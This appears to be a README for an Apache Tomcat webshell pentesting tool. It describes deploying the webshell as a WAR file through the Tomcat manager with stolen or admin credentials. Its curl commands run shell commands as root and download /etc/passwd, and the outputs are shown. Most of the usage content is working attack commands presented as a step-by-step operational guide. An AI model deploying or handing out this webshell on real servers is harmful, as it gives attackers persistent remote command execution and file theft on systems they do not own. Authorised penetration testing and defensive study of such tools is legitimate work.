Apache Tomcat webshell application for RCE

A webshell application and interactive shell for pentesting Apache Tomcat servers.

Features

• Webshell plugin for Apache Tomcat.
• Execute system commands via an API with ?action=exec.
• Download files from the remote system to your attacking machine ?action=download.

Usage

Requirements: You need to have the credentials of an high privilege account of the Apache Tomcat server.

Step 1: Access the Tomcat manager and upload the webshell plugin

First of all, you will need to access the Apache Tomcat /manager page at http://127.0.0.1:10080/manager/html, and connect to it with an high privilege account of the Apache Tomcat server.

Then choose the WAR file of the webshell plugin and click on "Deploy":

And the application is deployed:

Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/webshell/api with action=exec&cmd=id:

$ curl -X POST 'http://127.0.0.1:10080/webshell/api' --data "action=exec&cmd=id"
{"stdout":"uid=0(root) gid=0(root) groups=0(root)\n","stderr":"","exec":["/bin/bash","-c","id"]}

You can also access it by a GET request from a browser:

Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/webshell/api with action=download&cmd=/etc/passwd:

$ curl -X POST 'http://127.0.0.1:10080/webshell/api' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Step 3: The interactive console

When your webshell is active, you can now use the interactive console.py to execute commands and download remote files.

demo.mp4

Development

If you need to compile this plugin, you can use the docker image provided, simply type make to build your plugin present in the webshell folder. Output WAR files will be put in the ./webshell/dist/ folder.

Then if you need to test the plugin locally, you can start an Apache Tomcat instance with the test environnement in ./test_env/.

References

• https://linuxtut.com/create-a-java-servlet-and-jsp-war-file-to-deploy-to-apache-tomcat-9-in-gradle-eb464/